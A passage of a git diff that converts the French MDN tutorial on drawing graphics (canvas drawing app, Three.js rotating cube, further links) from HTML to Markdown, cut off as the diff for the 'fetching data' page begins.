comment la boucle d'animation peut être combinée avec les entrées de l'utilisateur (comme le mouvement de la souris en l'occurence). Nous n'allons pas expliquer la procédure pas à pas pour construire cette application, nous allons juste explorer les parties les plus intéressantes du code.</p> + Nous utilisons une autre instruction `if ... else` pour voir si la valeur de `posX` est plus grande que `width/2`, ce qui signifie que notre personnage est sortit du bord droit de l'écran. Si c'est le cas, on calcule la position qui met le personnage à gauche du bord gauche de l'écran, et on définit `posX` au multiple de 13 le plus proche de ce nombre. Il faut obligatoirement un multiple de 13 pour que le bloc de code précédent puisse toujours fonctionner! -<p>L'exemple peut être trouvé sur GitHub, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html">8_canvas_drawing_app.html</a>, et vous pouvez jouer avec en direct ci-dessous:</p> + Si notre personnage n'a pas atteint le bord de l'écran, on incrémente `posX` de 2. Cela le fera bouger un peu vers la droite la prochaine fois qu'on le dessinera. -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html", '100%', 600)}}</p> +10. Finalement, nous devons boucler sur l'animation en appelannt {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} en bas de la fonction `draw()`: -<p>Regardons les parties les plus intéressantes. Tout d'abord, nous gardons une trace des coordonnées X et Y de la souris et si elle est pressée ou non grâce à trois variables: <code>curX</code>, <code>curY</code>, et <code>pressed</code>. Quand la souris bouge, nous déclenchons une fonction via le gestionnaire d'événement <code>onmousemove</code>, lequel capture les valeurs X et Y actuelles. Nous utilisons également les gestionnaires d'événement <code>onmousedown</code> et <code>onmouseup</code> pour changer la valeur de <code>pressed</code> à <code>true</code> quand le bouton de la souris est pressé, et de nouveau à <code>false</code> quand il est relaché.</p> + ```js + window.requestAnimationFrame(draw); + ``` -<pre class="brush: js">var curX; +Et voilà! L'exemple final devrait ressembler à ça: + +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}} + +> **Note :** Le code final est disponible sur GitHub, [7_canvas_walking_animation.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html). + +### Une application simple de dessin + +Comme exemple final d'animation, nous aimerions vous montrer une application très simple de dessin, pour illustrer comment la boucle d'animation peut être combinée avec les entrées de l'utilisateur (comme le mouvement de la souris en l'occurence). Nous n'allons pas expliquer la procédure pas à pas pour construire cette application, nous allons juste explorer les parties les plus intéressantes du code. + +L'exemple peut être trouvé sur GitHub, [8_canvas_drawing_app.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html), et vous pouvez jouer avec en direct ci-dessous: + +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html", '100%', 600)}} + +Regardons les parties les plus intéressantes. Tout d'abord, nous gardons une trace des coordonnées X et Y de la souris et si elle est pressée ou non grâce à trois variables: `curX`, `curY`, et `pressed`. Quand la souris bouge, nous déclenchons une fonction via le gestionnaire d'événement `onmousemove`, lequel capture les valeurs X et Y actuelles. Nous utilisons également les gestionnaires d'événement `onmousedown` et `onmouseup` pour changer la valeur de `pressed` à `true` quand le bouton de la souris est pressé, et de nouveau à `false` quand il est relaché. + +```js +var curX; var curY; var pressed = false; @@ -728,18 +690,22 @@ canvas.onmousedown = function() { canvas.onmouseup = function() { pressed = false; -}</pre> +} +``` -<p>Quand le bouton "Clear canvas" (effacer le canvas) est cliqué, nous exécutons une simple fonction qui efface entièrement le canvas grâce à un rectangle noir, de la même manière que nous avons vu précédemment:</p> +Quand le bouton "Clear canvas" (effacer le canvas) est cliqué, nous exécutons une simple fonction qui efface entièrement le canvas grâce à un rectangle noir, de la même manière que nous avons vu précédemment: -<pre class="brush: js">clearBtn.onclick = function() { +```js +clearBtn.onclick = function() { ctx.fillStyle = 'rgb(0, 0, 0)'; ctx.fillRect(0, 0, width, height); -}</pre> +} +``` -<p>La boucle du dessin est relativement simple cette fois-ci — si <code>pressed</code> est à <code>true</code>, nous dessinons un cercle rempli avec la couleur du color picker (sélecteur de couleur), et d'un rayon égal à la valeur définit dans le champs de sélection dans un intervalle.</p> +La boucle du dessin est relativement simple cette fois-ci — si `pressed` est à `true`, nous dessinons un cercle rempli avec la couleur du color picker (sélecteur de couleur), et d'un rayon égal à la valeur définit dans le champs de sélection dans un intervalle. -<pre class="brush: js">function draw() { +```js +function draw() { if(pressed) { ctx.fillStyle = colorPicker.value; ctx.beginPath(); @@ -750,174 +716,157 @@ canvas.onmouseup = function() { requestAnimationFrame(draw); } -draw();</pre> +draw(); +``` -<div class="note"> -<p><strong>Note :</strong> Les types d'{{htmlelement("input")}} <code>range</code> et <code>color</code> sont relativement bien pris en charge parmi les différents navigateurs, à l'exception des versions d'Internet Explorer inférieures à 10; et Safari ne prend pas en charge le type <code>color</code>. Si votre navigateur ne prend pas en charge ces types, il affichera simplement un champ texte et vous n'aurez qu'à entrer des valeurs de couleur et numéro valides vous-mêmes.</p> -</div> +> **Note :** Les types d'{{htmlelement("input")}} `range` et `color` sont relativement bien pris en charge parmi les différents navigateurs, à l'exception des versions d'Internet Explorer inférieures à 10; et Safari ne prend pas en charge le type `color`. Si votre navigateur ne prend pas en charge ces types, il affichera simplement un champ texte et vous n'aurez qu'à entrer des valeurs de couleur et numéro valides vous-mêmes. -<h2 id="WebGL">WebGL</h2> +## WebGL -<p>Il est maintenant temps de laisser la 2D derrière, et de jeter un coup d'oeil au canvas 3D. Le contenu 3D d'un canvas est spécifié en utilisant l'<a href="/fr/Apprendre/WebGL">API WebGL</a>, qui est une API complètement séparée de l'API des canvas 2D, même si ls deux sont affichés sur des éléments {{htmlelement("canvas")}}.</p> +Il est maintenant temps de laisser la 2D derrière, et de jeter un coup d'oeil au canvas 3D. Le contenu 3D d'un canvas est spécifié en utilisant l'[API WebGL](/fr/Apprendre/WebGL), qui est une API complètement séparée de l'API des canvas 2D, même si ls deux sont affichés sur des éléments {{htmlelement("canvas")}}. -<p>WebGL est basé sur le langage de programmation graphique <a href="/fr/docs/Glossaire/OpenGL">OpenGL</a>, et permet de communiquer directement avec le <a href="/fr/docs/Glossaire/GPU">GPU</a> de l'ordinateur. En soi, l'écriture WebGL est plus proche des langages de bas niveau tel que C++ que du JavaScript usuel; c'est assez complexe mais incroyablement puissant.</p> +WebGL est basé sur le langage de programmation graphique [OpenGL](/fr/docs/Glossaire/OpenGL), et permet de communiquer directement avec le [GPU](/fr/docs/Glossaire/GPU) de l'ordinateur. En soi, l'écriture WebGL est plus proche des langages de bas niveau tel que C++ que du JavaScript usuel; c'est assez complexe mais incroyablement puissant. -<h3 id="Utiliser_une_bibliothèque">Utiliser une bibliothèque</h3> +### Utiliser une bibliothèque -<p>De par sa complexité, la plupart des gens écrivent du code de graphique 3D en utilisant une bibliothèque JavaScript tierce telle que <a href="/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Three.js</a>, <a href="/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">PlayCanvas</a> ou <a href="/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Babylon.js</a>. La plupart d'entre elles fonctionnent d'une manière similaire, offrant des fonctionnalités pour créer des formes primitives et personnalisées, positionner des caméras et des éclairages, recouvrir des surfaces avec des textures et plus encore. Elles se chargent de WebGL pour vous, vous permettant de travailler à un niveau plus haut.</p> +De par sa complexité, la plupart des gens écrivent du code de graphique 3D en utilisant une bibliothèque JavaScript tierce telle que [Three.js](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js), [PlayCanvas](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas) ou [Babylon.js](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js). La plupart d'entre elles fonctionnent d'une manière similaire, offrant des fonctionnalités pour créer des formes primitives et personnalisées, positionner des caméras et des éclairages, recouvrir des surfaces avec des textures et plus encore. Elles se chargent de WebGL pour vous, vous permettant de travailler à un niveau plus haut. -<p>Oui, en utiliser une signifie apprendre une autre nouvelle API (une API tierce en l'occurence), mais elles sont beaucoup plus simples que de coder du WebGL brut.</p> +Oui, en utiliser une signifie apprendre une autre nouvelle API (une API tierce en l'occurence), mais elles sont beaucoup plus simples que de coder du WebGL brut. -<h3 id="Recréer_notre_cube">Recréer notre cube</h3> +### Recréer notre cube -<p>Regardons un exemple simple pour créer quelque chose avec une bibliothèque WebGL. Nous allons choisir <a href="/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Three.js</a>, puisque c'est l'une des plus populaires. Dans ce tutoriel, nous allons créer le cube 3D qui tourne que nous avons plus tôt.</p> +Regardons un exemple simple pour créer quelque chose avec une bibliothèque WebGL. Nous allons choisir [Three.js](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js), puisque c'est l'une des plus populaires. Dans ce tutoriel, nous allons créer le cube 3D qui tourne que nous avons plus tôt. -<ol> - <li> - <p>Pour commencer, créez une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/index.html">index.html</a> dans un nouveau répertoire, et sauvegardez <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/metal003.png">metal003.png</a> dans ce même répertoire. C'est l'image que nous allons utiliser comme texture de surface du cube plus tard.</p> - </li> - <li> - <p>Ensuite, créez un nouveau fichier <code>main.js</code>, toujours dans le même répertoire.</p> - </li> - <li> - <p>Si vous ouvrez <code>index.html</code> dans votre éditeur de texte, vous verrez qu'il y a deux éléments {{htmlelement("script")}} — le premier ajoute <code>three.min.js</code> à la page, et le second ajoute notre fichier <code>main.js</code> à la page. Vous devez <a href="https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.min.js">télécharger la bibliothèque three.min.js</a> et la sauvegarder dans le même répertoire que précédemment.</p> - </li> - <li> - <p>Maintenant que nous avons inclus <code>three.js</code> dans notre page, nous pouvons commencer à écrire du code JavaScript qui l'utilise dans <code>main.js</code>. Commençons par créer une nouvelle scène — ajoutez ce qui suit dans le fichier <code>main.js</code>:</p> +1. Pour commencer, créez une copie locale de [index.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/index.html) dans un nouveau répertoire, et sauvegardez [metal003.png](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/metal003.png) dans ce même répertoire. C'est l'image que nous allons utiliser comme texture de surface du cube plus tard. +2. Ensuite, créez un nouveau fichier `main.js`, toujours dans le même répertoire. +3. Si vous ouvrez `index.html` dans votre éditeur de texte, vous verrez qu'il y a deux éléments {{htmlelement("script")}} — le premier ajoute `three.min.js` à la page, et le second ajoute notre fichier `main.js` à la page. Vous devez [télécharger la bibliothèque three.min.js](https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.min.js) et la sauvegarder dans le même répertoire que précédemment. +4. Maintenant que nous avons inclus `three.js` dans notre page, nous pouvons commencer à écrire du code JavaScript qui l'utilise dans `main.js`. Commençons par créer une nouvelle scène — ajoutez ce qui suit dans le fichier `main.js`: - <pre class="brush: js">var scene = new THREE.Scene();</pre> + ```js + var scene = new THREE.Scene(); + ``` - <p>Le constructeur <code><a href="https://threejs.org/docs/index.html#api/scenes/Scene">Scene()</a></code> crée une nouvelle scène, qui représente l'ensemble du monde 3D que nous essayons d'afficher.</p> - </li> - <li> - <p>Ensuite, nous avons besoin d'une <strong>caméra</strong> pour voir la scène. En terme d'imagerie 3D, la caméra représente la position du spectateur dans le monde. Pour ajouter une caméra, ajoutez les lignes suivantes à la suite:</p> + Le constructeur [`Scene()`](https://threejs.org/docs/index.html#api/scenes/Scene) crée une nouvelle scène, qui représente l'ensemble du monde 3D que nous essayons d'afficher. - <pre class="brush: js">var camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); -camera.position.z = 5; -</pre> +5. Ensuite, nous avons besoin d'une **caméra** pour voir la scène. En terme d'imagerie 3D, la caméra représente la position du spectateur dans le monde. Pour ajouter une caméra, ajoutez les lignes suivantes à la suite: - <p>Le constructeur <code><a href="https://threejs.org/docs/index.html#api/cameras/PerspectiveCamera">PerspectiveCamera()</a></code> prend quatre arguments:</p> + ```js + var camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); + camera.position.z = 5; + ``` - <ul> - <li>Le champ de vision: Quelle est la largeur de la zone devant la caméra qui doit être visible à l'écran, en degrés.</li> - <li>Le rapport d'aspect (aspect ratio): Habituellement, c'est le rapport entre la largeur de la scène divisé par la hauteur de la scène. Utiliser une autre valeur va déformer la scène (ce qui pourrait être ce que vous voulez, mais ce n'est généralement pas le cas).</li> - <li>Le plan proche (near plane): Jusqu'où les objets peuvent être proches de la caméra avant que nous arrêtions de les afficher à l'écran. Pensez-y comme quand vous approchez votre doigt de plus en plus près de l'espace entre vos yeux, vous finissez par ne plus le voir.</li> - <li>Le plan éloigné (far plane): Jusqu'à quelle distance de la caméra doit-on afficher les objets.</li> - </ul> + Le constructeur [`PerspectiveCamera()`](https://threejs.org/docs/index.html#api/cameras/PerspectiveCamera) prend quatre arguments: - <p>Nous définissons également la position de la caméra à 5 unités de distance de l'axe Z, qui, comme en CSS, est hors de l'écran vers vous, le spectateur.</p> - </li> - <li> - <p>Le troisième ingrédient essentiel est un moteur de rendu. C'est un objet qui restitue une scène donnée, vu à travers une caméra donnée. Nous allons en créer dès à présent en utilisant le constructeur <code><a href="https://threejs.org/docs/index.html#api/renderers/WebGLRenderer">WebGLRenderer()</a></code> — mais nous ne l'utiliserons que plus tard. Ajoutez les lignes suivantes à la suite de votre JavaScript:</p> + - Le champ de vision: Quelle est la largeur de la zone devant la caméra qui doit être visible à l'écran, en degrés. + - Le rapport d'aspect (aspect ratio): Habituellement, c'est le rapport entre la largeur de la scène divisé par la hauteur de la scène. Utiliser une autre valeur va déformer la scène (ce qui pourrait être ce que vous voulez, mais ce n'est généralement pas le cas). + - Le plan proche (near plane): Jusqu'où les objets peuvent être proches de la caméra avant que nous arrêtions de les afficher à l'écran. Pensez-y comme quand vous approchez votre doigt de plus en plus près de l'espace entre vos yeux, vous finissez par ne plus le voir. + - Le plan éloigné (far plane): Jusqu'à quelle distance de la caméra doit-on afficher les objets. - <pre class="brush: js">var renderer = new THREE.WebGLRenderer(); -renderer.setSize(window.innerWidth, window.innerHeight); -document.body.appendChild(renderer.domElement);</pre> + Nous définissons également la position de la caméra à 5 unités de distance de l'axe Z, qui, comme en CSS, est hors de l'écran vers vous, le spectateur. - <p>La première ligne crée un nouveau moteur de rendu, la deuxième ligne définit la taille à laquelle le moteur de rendu va dessiner la vue de la caméra, et la troisième ligne ajoute l'élément {{htmlelement("canvas")}} crée par le moteur de rendu au {{htmlelement("body")}} du document. Désormais, tout ce que dessine le moteur de rendu sera affiché dans notre fenêtre.</p> - </li> - <li> - <p>Ensuite, nous voulons créer le cube que nous afficherons sur le canvas. Ajoutez le morceau de code suivant au bas de votre JavaScript:</p> +6. Le troisième ingrédient essentiel est un moteur de rendu. C'est un objet qui restitue une scène donnée, vu à travers une caméra donnée. Nous allons en créer dès à présent en utilisant le constructeur [`WebGLRenderer()`](https://threejs.org/docs/index.html#api/renderers/WebGLRenderer) — mais nous ne l'utiliserons que plus tard. Ajoutez les lignes suivantes à la suite de votre JavaScript: - <pre class="brush: js">var cube; + ```js + var renderer = new THREE.WebGLRenderer(); + renderer.setSize(window.innerWidth, window.innerHeight); + document.body.appendChild(renderer.domElement); + ``` -var loader = new THREE.TextureLoader(); + La première ligne crée un nouveau moteur de rendu, la deuxième ligne définit la taille à laquelle le moteur de rendu va dessiner la vue de la caméra, et la troisième ligne ajoute l'élément {{htmlelement("canvas")}} crée par le moteur de rendu au {{htmlelement("body")}} du document. Désormais, tout ce que dessine le moteur de rendu sera affiché dans notre fenêtre. -loader.load( 'metal003.png', function (texture) { - texture.wrapS = THREE.RepeatWrapping; - texture.wrapT = THREE.RepeatWrapping; - texture.repeat.set(2, 2); +7. Ensuite, nous voulons créer le cube que nous afficherons sur le canvas. Ajoutez le morceau de code suivant au bas de votre JavaScript: - var geometry = new THREE.BoxGeometry(2.4, 2.4, 2.4); - var material = new THREE.MeshLambertMaterial( { map: texture, shading: THREE.FlatShading } ); - cube = new THREE.Mesh(geometry, material); - scene.add(cube); + ```js + var cube; - draw(); -});</pre> + var loader = new THREE.TextureLoader(); - <p>Il y a un peu plus à encaisser ici, alors allons-ici par étapes:</p> + loader.load( 'metal003.png', function (texture) { + texture.wrapS = THREE.RepeatWrapping; + texture.wrapT = THREE.RepeatWrapping; + texture.repeat.set(2, 2); - <ul> - <li>Nous créons d'abord une variable globale <code>cube</code> pour pouvoir accéder à notre cube de n'importe où dans notre code.</li> - <li>Ensuite, nous créons un nouvel objet <code><a href="https://threejs.org/docs/index.html#api/loaders/TextureLoader">TextureLoader</a></code>, et appellons <code>load()</code> dessus. La fonction <code>load()</code> prend deux paramètres dans notre exemple (bien qu'elle puisse en prendre plus): la texture que nous voulons charger (notre PNG), et la fonction qui sera exécutée lorsque la texture sera chargée.</li> - <li>À l'intérieur de cette fonction, nous utilisons les propriétés de l'objet <code><a href="https://threejs.org/docs/index.html#api/textures/Texture">texture</a></code> pour spécifier que nous voulons une répétition 2 x 2 de l'image sur tous les côtés du cube.</li> - <li>Ensuite, nous créons un nouvel objet <code><a href="https://threejs.org/docs/index.html#api/geometries/BoxGeometry">BoxGeometry</a></code> et <code><a href="https://threejs.org/docs/index.html#api/materials/MeshLambertMaterial">MeshLambertMaterial</a></code>, que nous passons à un <code><a href="https://threejs.org/docs/index.html#api/objects/Mesh">Mesh</a></code> pour créer notre cube. Typiquement, un objet requiert une géométrie (quelle est sa forme) et un matériau (à quoi ressemble sa surface).</li> - <li>Pour finir, nous ajoutons notre cube à la scène, puis appellons la fonction <code>draw()</code> pour commencer l'animation.</li> - </ul> - </li> - <li> - <p>Avant de définir la fonction <code>draw()</code>, nous allons ajouter quelques lumières à la scène, pour égayer un peu les choses; ajoutez le bloc suivant à la suite de votre code:</p> + var geometry = new THREE.BoxGeometry(2.4, 2.4, 2.4); + var material = new THREE.MeshLambertMaterial( { map: texture, shading: THREE.FlatShading } ); + cube = new THREE.Mesh(geometry, material); + scene.add(cube); - <pre class="brush: js">var light = new THREE.AmbientLight('rgb(255, 255, 255)'); // soft white light -scene.add(light); + draw(); + }); + ``` -var spotLight = new THREE.SpotLight('rgb(255, 255, 255)'); -spotLight.position.set( 100, 1000, 1000 ); -spotLight.castShadow = true; -scene.add(spotLight);</pre> + Il y a un peu plus à encaisser ici, alors allons-ici par étapes: - <p>Un objet <code><a href="https://threejs.org/docs/index.html#api/lights/AmbientLight">AmbientLight</a></code> est une lumière douce qui illumine la scène entière, un peu comme le soleil comme vous êtes dehors. Un objet <code><a href="https://threejs.org/docs/index.html#api/lights/AmbientLight">SpotLight</a></code>, d'autre part, est un faisceau de lumière, plutôt comme une lampe de poche/torche (ou un spotlight - projecteur - en fait).</p> - </li> - <li> - <p>Pour finir, ajoutons notre fonction <code>draw()</code> au bas du code:</p> + - Nous créons d'abord une variable globale `cube` pour pouvoir accéder à notre cube de n'importe où dans notre code. + - Ensuite, nous créons un nouvel objet [`TextureLoader`](https://threejs.org/docs/index.html#api/loaders/TextureLoader), et appellons `load()` dessus. La fonction `load()` prend deux paramètres dans notre exemple (bien qu'elle puisse en prendre plus): la texture que nous voulons charger (notre PNG), et la fonction qui sera exécutée lorsque la texture sera chargée. + - À l'intérieur de cette fonction, nous utilisons les propriétés de l'objet [`texture`](https://threejs.org/docs/index.html#api/textures/Texture) pour spécifier que nous voulons une répétition 2 x 2 de l'image sur tous les côtés du cube. + - Ensuite, nous créons un nouvel objet [`BoxGeometry`](https://threejs.org/docs/index.html#api/geometries/BoxGeometry) et [`MeshLambertMaterial`](https://threejs.org/docs/index.html#api/materials/MeshLambertMaterial), que nous passons à un [`Mesh`](https://threejs.org/docs/index.html#api/objects/Mesh) pour créer notre cube. Typiquement, un objet requiert une géométrie (quelle est sa forme) et un matériau (à quoi ressemble sa surface). + - Pour finir, nous ajoutons notre cube à la scène, puis appellons la fonction `draw()` pour commencer l'animation. - <pre class="brush: js">function draw() { - cube.rotation.x += 0.01; - cube.rotation.y += 0.01; - renderer.render(scene, camera); +8. Avant de définir la fonction `draw()`, nous allons ajouter quelques lumières à la scène, pour égayer un peu les choses; ajoutez le bloc suivant à la suite de votre code: - requestAnimationFrame(draw); -}</pre> + ```js + var light = new THREE.AmbientLight('rgb(255, 255, 255)'); // soft white light + scene.add(light); + + var spotLight = new THREE.SpotLight('rgb(255, 255, 255)'); + spotLight.position.set( 100, 1000, 1000 ); + spotLight.castShadow = true; + scene.add(spotLight); + ``` + + Un objet [`AmbientLight`](https://threejs.org/docs/index.html#api/lights/AmbientLight) est une lumière douce qui illumine la scène entière, un peu comme le soleil comme vous êtes dehors. Un objet [`SpotLight`](https://threejs.org/docs/index.html#api/lights/AmbientLight), d'autre part, est un faisceau de lumière, plutôt comme une lampe de poche/torche (ou un spotlight - projecteur - en fait). + +9. Pour finir, ajoutons notre fonction `draw()` au bas du code: + + ```js + function draw() { + cube.rotation.x += 0.01; + cube.rotation.y += 0.01; + renderer.render(scene, camera); + + requestAnimationFrame(draw); + } + ``` + + C'est assez intuittif: sur chaque image, on fait légèrement tourner notre cube sur ses axes X et Y, affichons la scène telle qu'elle vue par notre caméra, puis appellons `requestAnimationFrame()` pour planifier le dessin de notre prochaine image. - <p>C'est assez intuittif: sur chaque image, on fait légèrement tourner notre cube sur ses axes X et Y, affichons la scène telle qu'elle vue par notre caméra, puis appellons <code>requestAnimationFrame()</code> pour planifier le dessin de notre prochaine image.</p> - </li> -</ol> +Jetons un coup d'oeil rapide au produit fini: -<p>Jetons un coup d'oeil rapide au produit fini:</p> +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}} -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}</p> +Vous pouvez [trouver le code terminé sur GitHub](https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-cube). -<p>Vous pouvez <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-cube">trouver le code terminé sur GitHub</a>.</p> +> **Note :** Dans notre repo GitHub vous pouvez également trouver d'autres exemples 3D intéressants — [Three.js Video Cube](https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-video-cube) ([le voir en direct](https://mdn.github.io/learning-area/javascript/apis/drawing-graphics/threejs-video-cube/)). On utilise {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} pour prendre un flux vidéo à partir d'une webcam de l'ordinateur et le projetons sur le côté du cube comme texture! -<div class="note"> -<p><strong>Note :</strong> Dans notre repo GitHub vous pouvez également trouver d'autres exemples 3D intéressants — <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-video-cube">Three.js Video Cube</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/drawing-graphics/threejs-video-cube/">le voir en direct</a>). On utilise {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} pour prendre un flux vidéo à partir d'une webcam de l'ordinateur et le projetons sur le côté du cube comme texture!</p> -</div> +## Sommaire -<h2 id="Sommaire">Sommaire</h2> +À ce stade, vous devriez avoir une idée utile des bases de la programmation graphique en utilisant Canvas et WebGL et de ce que vous pouvez faire avec ces APIs. Vous pouvez trouver des endroits où aller pour trouver plus d'informations dans la section suivante. Amusez-vous! -<p>À ce stade, vous devriez avoir une idée utile des bases de la programmation graphique en utilisant Canvas et WebGL et de ce que vous pouvez faire avec ces APIs. Vous pouvez trouver des endroits où aller pour trouver plus d'informations dans la section suivante. Amusez-vous!</p> +## Voir aussi -<h2 id="Voir_aussi">Voir aussi</h2> +Nous n'avons couverts dans cet article que les vraies bases du canvas — il y a tellement plus à apprendre! Les articles suivants vous mèneront plus loin. -<p>Nous n'avons couverts dans cet article que les vraies bases du canvas — il y a tellement plus à apprendre! Les articles suivants vous mèneront plus loin.</p> +- [Tutoriel canvas](/fr/docs/Tutoriel_canvas) — Une série de tutoriels très détaillés qui explique ce que vous devriez savoir à propos du canvas 2D de manière beaucoup plus poussée qu'ici. Lecture indispensable. +- [Tutoriel WebGL](/fr/docs/Web/API/WebGL_API/Tutorial) — Une série de tutoriels qui enseigne les bases de la programmation WebGL brute. +- [Construire une démo basique avec Three.js](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js) — tutoriel Three.js basique. Nous avons également les guides équivalents pour [PlayCanvas](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas) et [Babylon.js](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js). +- [Développement de jeux vidéos](/fr/docs/Jeux) — La page d'atterrisage sur MDN pour le développement de jeux web. Il y a quelques tutoriels et techniques disponibles liés au canvas 2D et 3D — voir les options du menu Techniques et Tutoriels. -<ul> - <li><a href="/fr/docs/Tutoriel_canvas">Tutoriel canvas</a> — Une série de tutoriels très détaillés qui explique ce que vous devriez savoir à propos du canvas 2D de manière beaucoup plus poussée qu'ici. Lecture indispensable.</li> - <li><a href="/fr/docs/Web/API/WebGL_API/Tutorial">Tutoriel WebGL</a> — Une série de tutoriels qui enseigne les bases de la programmation WebGL brute.</li> - <li><a href="/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Construire une démo basique avec Three.js</a> — tutoriel Three.js basique. Nous avons également les guides équivalents pour <a href="/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">PlayCanvas</a> et <a href="/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Babylon.js</a>.</li> - <li><a href="/fr/docs/Jeux">Développement de jeux vidéos</a> — La page d'atterrisage sur MDN pour le développement de jeux web. Il y a quelques tutoriels et techniques disponibles liés au canvas 2D et 3D — voir les options du menu Techniques et Tutoriels.</li> -</ul> +## Exemples -<h2 id="Exemples">Exemples</h2> +- [Violent theramin](https://github.com/mdn/violent-theremin) — Utilise l'API Web Audio pour générer des sons, et Canvas pour générer une visualisation. +- [Voice change-o-matic](https://github.com/mdn/voice-change-o-matic) — Utilise un canvas pour visualiser en temps réel les données audio de l'API Web Audio. -<ul> - <li><a href="https://github.com/mdn/violent-theremin">Violent theramin</a> — Utilise l'API Web Audio pour générer des sons, et Canvas pour générer une visualisation.</li> - <li><a href="https://github.com/mdn/voice-change-o-matic">Voice change-o-matic</a> — Utilise un canvas pour visualiser en temps réel les données audio de l'API Web Audio.</li> -</ul> +{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}} -<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p> -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">Introduction aux API du Web</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs tierces</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs vidéo et audio</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></li> -</ul> +- [Introduction aux API du Web](/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction) +- [Manipuler des documents](/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) +- [Récupérer des données du serveur](/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data) +- [APIs tierces](/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs) +- [Dessiner des éléments graphiques](/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics) +- [APIs vidéo et audio](/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) +- [Stockage côté client](/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage) diff --git a/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md b/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md index 9fe8ea07d5..4cc4cf072c 100644 --- a/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md @@ -14,288 +14,303 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data original_slug: Apprendre/JavaScript/Client-side_web_APIs/Fetching_data --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", 